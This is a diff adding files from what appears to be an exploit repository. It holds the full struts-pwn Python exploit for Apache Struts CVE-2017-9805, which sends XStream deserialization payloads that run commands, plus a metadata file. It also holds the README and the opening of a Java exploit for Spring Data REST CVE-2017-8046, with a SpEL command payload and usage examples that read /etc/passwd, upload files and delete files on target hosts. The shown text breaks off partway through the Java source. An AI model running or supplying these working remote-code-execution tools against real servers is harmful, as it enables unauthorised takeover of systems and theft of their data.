@ -0,0 +1,2 @@
|
|||
argparse
|
||||
requests
|
|
@ -0,0 +1,328 @@
|
|||
#!/usr/bin/env python3
|
||||
# coding=utf-8
|
||||
# *****************************************************
|
||||
# struts-pwn: Apache Struts CVE-2017-9805 Exploit
|
||||
# Author:
|
||||
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
|
||||
# This code is based on:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/8924
|
||||
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
|
||||
# *****************************************************
|
||||
import argparse
|
||||
import requests
|
||||
import sys
|
||||
|
||||
# Disable SSL warnings
|
||||
try:
|
||||
import requests.packages.urllib3
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if len(sys.argv) <= 1:
|
||||
print('[*] CVE: 2017-9805 - Apache Struts2 S2-052')
|
||||
print('[*] Struts-PWN - @mazen160')
|
||||
print('\n%s -h for help.' % (sys.argv[0]))
|
||||
exit(0)
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-u", "--url",
|
||||
dest="url",
|
||||
help="Check a single URL.",
|
||||
action='store')
|
||||
parser.add_argument("-l", "--list",
|
||||
dest="usedlist",
|
||||
help="Check a list of URLs.",
|
||||
action='store')
|
||||
parser.add_argument("-c", "--cmd",
|
||||
dest="cmd",
|
||||
help="Command to execute. (Default: 'touch /tmp/struts-pwn')",
|
||||
action='store',
|
||||
default='touch /tmp/struts-pwn')
|
||||
parser.add_argument("--exploit",
|
||||
dest="do_exploit",
|
||||
help="Exploit.",
|
||||
action='store_true')
|
||||
args = parser.parse_args()
|
||||
url = args.url if args.url else None
|
||||
usedlist = args.usedlist if args.usedlist else None
|
||||
cmd = args.cmd if args.cmd else None
|
||||
do_exploit = args.do_exploit if args.do_exploit else None
|
||||
|
||||
|
||||
def url_prepare(url):
|
||||
url = url.replace('#', '%23')
|
||||
url = url.replace(' ', '%20')
|
||||
if ('://' not in url):
|
||||
url = str('http') + str('://') + str(url)
|
||||
return(url)
|
||||
|
||||
|
||||
def exploit(url, cmd, dont_print_status_on_console=False):
|
||||
url = url_prepare(url)
|
||||
if dont_print_status_on_console is False:
|
||||
print('\n[*] URL: %s' % (url))
|
||||
print('[*] CMD: %s' % (cmd))
|
||||
cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])
|
||||
|
||||
payload = """
|
||||
<map>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<flags>0</flags>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<initialized>false</initialized>
|
||||
<opmode>0</opmode>
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
{0}
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>java.lang.ProcessBuilder</class>
|
||||
<name>start</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer/>
|
||||
<done>false</done>
|
||||
<ostart>0</ostart>
|
||||
<ofinish>0</ofinish>
|
||||
<closed>false</closed>
|
||||
</is>
|
||||
<consumed>false</consumed>
|
||||
</dataSource>
|
||||
<transferFlavors/>
|
||||
</dataHandler>
|
||||
<dataLen>0</dataLen>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
</map>
|
||||
""".format(cmd)
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Referer': str(url),
|
||||
'Content-Type': 'application/xml',
|
||||
'Accept': '*/*'
|
||||
}
|
||||
|
||||
timeout = 3
|
||||
try:
|
||||
output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
output = 'ERROR'
|
||||
return(output)
|
||||
|
||||
|
||||
def check(url):
|
||||
url = url_prepare(url)
|
||||
print('\n[*] URL: %s' % (url))
|
||||
|
||||
initial_request = exploit(url, "", dont_print_status_on_console=True)
|
||||
if initial_request == "ERROR":
|
||||
result = False
|
||||
print("The host does not respond as expected.")
|
||||
return(result)
|
||||
|
||||
payload_sleep_based_10seconds = """
|
||||
<map>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<flags>0</flags>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<initialized>false</initialized>
|
||||
<opmode>0</opmode>
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
|
||||
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
|
||||
<default>
|
||||
<__name>Pwnr</__name>
|
||||
<__bytecodes>
|
||||
<byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
|
||||
dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
|
||||
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJD
|
||||
bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5
|
||||
bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
|
||||
c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy
|
||||
aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs
|
||||
YW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUv
|
||||
eG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9u
|
||||
cwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29t
|
||||
L3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3Vu
|
||||
L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7
|
||||
KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1B
|
||||
eGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs
|
||||
L3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMu
|
||||
amF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNs
|
||||
ZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp
|
||||
bWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcv
|
||||
YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFs
|
||||
L3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA
|
||||
BXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVy
|
||||
MTY3MTMxNTc4NjQ1ODk0AQAgTHlzb3NlcmlhbC9Qd25lcjE2NzEzMTU3ODY0NTg5NDsAIQACAAMA
|
||||
AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A
|
||||
AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A
|
||||
AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa
|
||||
AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA
|
||||
AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA
|
||||
AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ
|
||||
</byte-array>
|
||||
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
|
||||
dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
|
||||
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy
|
||||
aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2
|
||||
YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh
|
||||
bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp
|
||||
bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB
|
||||
AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA
|
||||
AAoAAQACABYAEAAJ</byte-array>
|
||||
</__bytecodes>
|
||||
<__transletIndex>-1</__transletIndex>
|
||||
<__indentNumber>0</__indentNumber>
|
||||
</default>
|
||||
<boolean>false</boolean>
|
||||
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
|
||||
<name>newTransformer</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer/>
|
||||
<done>false</done>
|
||||
<ostart>0</ostart>
|
||||
<ofinish>0</ofinish>
|
||||
<closed>false</closed>
|
||||
</is>
|
||||
<consumed>false</consumed>
|
||||
</dataSource>
|
||||
<transferFlavors/>
|
||||
</dataHandler>
|
||||
<dataLen>0</dataLen>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
</map>
|
||||
"""
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Referer': str(url),
|
||||
'Content-Type': 'application/xml',
|
||||
'Accept': '*/*'
|
||||
}
|
||||
|
||||
timeout = 8
|
||||
try:
|
||||
requests.post(url, data=payload_sleep_based_10seconds, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
|
||||
# if the response returned before the request timeout.
|
||||
# then, the host should not be vulnerable.
|
||||
# The request should return > 10 seconds, while the timeout is 8.
|
||||
result = False
|
||||
except requests.exceptions.Timeout:
|
||||
result = True
|
||||
except requests.exceptions.ReadTimeout:
|
||||
result = True
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
result = False
|
||||
return(result)
|
||||
|
||||
|
||||
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
|
||||
if url:
|
||||
if not do_exploit:
|
||||
result = check(url)
|
||||
output = '[*] Status: '
|
||||
if result is True:
|
||||
output += 'Vulnerable!'
|
||||
else:
|
||||
output += 'Not Affected.'
|
||||
print(output)
|
||||
else:
|
||||
exploit(url, cmd)
|
||||
print("[$] Request sent.")
|
||||
print("[.] If the host is vulnerable, the command will be executed in the background.")
|
||||
|
||||
if usedlist:
|
||||
URLs_List = []
|
||||
try:
|
||||
f_file = open(str(usedlist), 'r')
|
||||
URLs_List = f_file.read().replace('\r', '').split('\n')
|
||||
try:
|
||||
URLs_List.remove('')
|
||||
except ValueError:
|
||||
pass
|
||||
f_file.close()
|
||||
except Exception as e:
|
||||
print('Error: There was an error in reading list file.')
|
||||
print("Exception: " + str(e))
|
||||
exit(1)
|
||||
for url in URLs_List:
|
||||
if not do_exploit:
|
||||
result = check(url)
|
||||
output = '[*] Status: '
|
||||
if result is True:
|
||||
output += 'Vulnerable!'
|
||||
else:
|
||||
output += 'Not Affected.'
|
||||
print(output)
|
||||
else:
|
||||
exploit(url, cmd)
|
||||
print("[$] Request sent.")
|
||||
print("[.] If the host is vulnerable, the command will be executed in the background.")
|
||||
|
||||
print('[%] Done.')
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
|
||||
except KeyboardInterrupt:
|
||||
print('\nKeyboardInterrupt Detected.')
|
||||
print('Exiting...')
|
||||
exit(0)
|
|
@ -0,0 +1,20 @@
|
|||
id: CVE-2017-9805
|
||||
source: https://github.com/mazen160/struts-pwn_CVE-2017-9805
|
||||
info:
|
||||
name: Apache Struts是一个用于构建基于Java的web应用程序的模型-视图-控制器(MVC)框架。
|
||||
severity: high
|
||||
description:
|
||||
在2.3.34和2.5.13之前,Apache Struts 2.1.1至2.3.x中的REST插件在2.5.13之前使用XstreamHandler使用Xstream实例进行Xstream实例进行验证,而无需任何类型的过滤,这可以导致远程代码执行XML时,可以导致远程代码执行有效载荷。
|
||||
scope-of-influence:
|
||||
Struts 2.3.34 - Struts 2.5.13
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/cve-2017-9805
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 8.1
|
||||
cve-id: CVE-2017-9805
|
||||
cwe-id: CWE-502
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags:
|
||||
- 远程命令执行
|
|
@ -0,0 +1,60 @@
|
|||
###################
|
||||
# Compiled source #
|
||||
###################
|
||||
*.com
|
||||
*.dll
|
||||
*.exe
|
||||
*.o
|
||||
*.so
|
||||
*.bat
|
||||
|
||||
############
|
||||
# Packages #
|
||||
############
|
||||
# it's better to unpack these files and commit the raw source
|
||||
# git has its own built in compression methods
|
||||
*.7z
|
||||
*.dmg
|
||||
*.gz
|
||||
*.iso
|
||||
*.rar
|
||||
*.tar
|
||||
*.zip
|
||||
|
||||
######################
|
||||
# Logs and databases #
|
||||
######################
|
||||
*.log
|
||||
*.sqlite
|
||||
|
||||
######################
|
||||
# OS generated files #
|
||||
######################
|
||||
.DS_Store*
|
||||
ehthumbs.db
|
||||
Icon?
|
||||
Thumbs.db
|
||||
*~
|
||||
|
||||
######################
|
||||
# Other repositories #
|
||||
######################
|
||||
.svn
|
||||
.\#*
|
||||
|
||||
####################
|
||||
# Java programming #
|
||||
####################
|
||||
build
|
||||
doc
|
||||
generated
|
||||
target
|
||||
.project
|
||||
.classpath
|
||||
.settings
|
||||
*.class
|
||||
*.jar
|
||||
*.war
|
||||
*.ear
|
||||
junit*.properties
|
||||
/bin/
|
|
@ -0,0 +1,13 @@
|
|||
Copyright 2018 Antonio Francesco Sardella
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
|
@ -0,0 +1,163 @@
|
|||
# spring-break_cve-2017-8046
|
||||
|
||||
This is a Java program that exploits **Spring Break** vulnerability (**CVE-2017-8046**).
|
||||
|
||||
This software is written to have as less external dependencies as possible.
|
||||
|
||||
## DISCLAIMER
|
||||
|
||||
**This tool is intended for security engineers and appsec guys for security assessments. Please use this tool responsibly. I do not take responsibility for the way in which any one uses this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.**
|
||||
|
||||
## Vulnerability info
|
||||
|
||||
* **CVE-ID**: CVE-2017-8046
|
||||
* **Link**: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046)
|
||||
* **Description**: Malicious *PATCH* requests submitted to *spring-data-rest* servers in **Pivotal Spring Data REST** versions prior to **2.5.12**, **2.6.7**, **3.0 RC3**, **Spring Boot** versions prior to **2.0.0M4**, and **Spring Data** release trains prior to **Kay-RC3** can use specially crafted JSON data to run arbitrary Java code.
|
||||
* **Vendor link**: [https://pivotal.io/security/cve-2017-8046](https://pivotal.io/security/cve-2017-8046)
|
||||
|
||||
## How to generate an executable JAR
|
||||
|
||||
Here some steps to follow in order to generate an executable JAR, with all dependencies into it, that can be used to launch the exploit.
|
||||
|
||||
### with Maven
|
||||
|
||||
Following Maven command can be launched:
|
||||
|
||||
```
|
||||
mvn clean compile package
|
||||
```
|
||||
|
||||
### with Eclipse
|
||||
|
||||
Following steps can be done:
|
||||
1. solve all external dependencies/libraries;
|
||||
1. right click on the Eclipse project and go to `Run As > Run Configurations`;
|
||||
1. right click on `Java Application` then on `New`;
|
||||
1. choose a name and set the main class to `com.afs.exploit.spring.SpringBreakCve20178046`;
|
||||
1. click on `Apply` button;
|
||||
1. close the window and go back to the main Eclipse window;
|
||||
1. right click on the Eclipse project and click on `Export...`;
|
||||
1. find and choose `Runnable JAR file` (under `Java` branch);
|
||||
1. in the following window:
|
||||
1. choose the correct `Launch configuration` created before;
|
||||
1. choose an `Export destination`;
|
||||
1. choose the option `Extract required libraries into generated JAR`;
|
||||
1. click on `Finish` button.
|
||||
|
||||
## Help
|
||||
|
||||
```
|
||||
Usage:
|
||||
java -jar spring-break_cve-2017-8046.jar [options]
|
||||
Description:
|
||||
Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
|
||||
Options:
|
||||
-h, --help
|
||||
Prints this help and exits.
|
||||
-u, --url [target_URL]
|
||||
The target URL where the exploit will be performed.
|
||||
You have to choose an existent resource.
|
||||
-cmd, --command [command_to_execute]
|
||||
The command that will be executed on the remote machine.
|
||||
-U, --upload [file_to_upload]
|
||||
File to upload to the remote machine. Will be uploaded to the current working
|
||||
directory of the java process. Warning: this will only succeed on a server running
|
||||
JRE-1.7 or later.
|
||||
--remote-upload-directory [/some/existing/path/]
|
||||
Optional. Server will attempt to write the uploaded file to this directory on the
|
||||
filesystem. Specified directory must exist and be writeable.
|
||||
--cookies [cookies]
|
||||
Optional. Cookies passed into the request, e.g. authentication cookies.
|
||||
-H, --header [custom_header]
|
||||
Optional. Custom header passed into the request, e.g. authorization header.
|
||||
-k
|
||||
Skip SSL validation
|
||||
--clean
|
||||
Optional. Removes error messages in output due to the usage of the
|
||||
exploit. It could hide error messages if the request fails for other reasons.
|
||||
--error-stream
|
||||
Optional. In case of errors the command will fail and the error stream will
|
||||
not be returned. This option can be used to relaunch the remote command
|
||||
returning the error stream.
|
||||
-v, --verbose
|
||||
Optional. Increase verbosity.
|
||||
```
|
||||
|
||||
|
||||
## Examples
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean
|
||||
```
|
||||
|
||||
Please note that the referenced resource/URL must exist!
|
||||
|
||||
## Vulnerable application
|
||||
|
||||
A vulnerable application can be found [here](https://github.com/m3ssap0/SpringBreakVulnerableApp).
|
||||
|
||||
## Authors
|
||||
|
||||
* **Antonio Francesco Sardella** - *main implementation* - [m3ssap0](https://github.com/m3ssap0)
|
||||
* **Yassine Tioual** - *HTTP header enhancement* - [nisay759](https://github.com/nisay759)
|
||||
* **Robin Wagenaar** - *for the suggestion to use patch operation 'remove' instead of 'replace' and for the file upload functionality* - [RobinWagenaar](https://github.com/RobinWagenaar)
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the Apache License Version 2.0 - see the **LICENSE.txt** file for details.
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
* [Man Yue Mo](https://lgtm.com/blog/spring_data_rest_CVE-2017-8046_ql) the security researcher who discovered the vulnerability
|
|
@ -0,0 +1,651 @@
|
|||
// Exploit Title: RCE in PATCH requests in Spring Data REST
|
||||
// Date: 2018-03-10
|
||||
// Exploit Author: Antonio Francesco Sardella
|
||||
// Vendor Homepage: https://pivotal.io/
|
||||
// Software Link: https://projects.spring.io/spring-data-rest/
|
||||
// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)
|
||||
// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'
|
||||
// CVE: CVE-2017-8046
|
||||
// Category: Webapps
|
||||
// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046
|
||||
// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp
|
||||
// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com
|
||||
|
||||
package com.afs.exploit.spring;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URI;
|
||||
import java.net.URISyntaxException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.apache.http.HttpResponse;
|
||||
import org.apache.http.client.HttpClient;
|
||||
import org.apache.http.client.methods.HttpPatch;
|
||||
import org.apache.http.entity.StringEntity;
|
||||
import org.apache.http.impl.client.HttpClientBuilder;
|
||||
import org.apache.http.ssl.SSLContextBuilder;
|
||||
import org.apache.http.conn.ssl.TrustSelfSignedStrategy;
|
||||
import org.apache.http.conn.ssl.SSLConnectionSocketFactory;
|
||||
import org.apache.http.conn.ssl.NoopHostnameVerifier;
|
||||
|
||||
/**
|
||||
* This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).
|
||||
* This software is written to have as less external dependencies as possible.
|
||||
* DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please
|
||||
* use this tool responsibly. I do not take responsibility for the way in which any one uses this application.
|
||||
* I am NOT responsible for any damages caused or any crimes committed by using this tool.
|
||||
* ..................
|
||||
* . CVE-ID ........: CVE-2017-8046
|
||||
* . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
|
||||
* . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST
|
||||
* .................. versions prior to 2.5.12, 2.6.9, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring
|
||||
* .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary
|
||||
* .................. Java code.
|
||||
* ..................
|
||||
*
|
||||
* @author Antonio Francesco Sardella
|
||||
*/
|
||||
public class SpringBreakCve20178046 {
|
||||
|
||||
/**
|
||||
* Version string.
|
||||
*/
|
||||
private static final String VERSION = "v1.6 (2018-10-13)";
|
||||
|
||||
/**
|
||||
* The JSON Patch object.
|
||||
*/
|
||||
private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"remove\", \"path\" : \"%s\", \"value\" : \"pwned\" }]";
|
||||
|
||||
/**
|
||||
* This is a way to bypass the split and 'replace'
|
||||
* logic performed by the framework on slashes.
|
||||
*/
|
||||
private static String SLASH = "(new java.lang.String(new char[]{0x2F}))";
|
||||
|
||||
/**
|
||||
* Malicious SpEL-script for executing commands.
|
||||
*/
|
||||
private static String COMMAND_PAYLOAD;
|
||||
static {
|
||||
COMMAND_PAYLOAD = "T(org.springframework.util.StreamUtils).copy(";
|
||||
COMMAND_PAYLOAD += "T(java.lang.Runtime).getRuntime().exec(";
|
||||
COMMAND_PAYLOAD += "(";
|
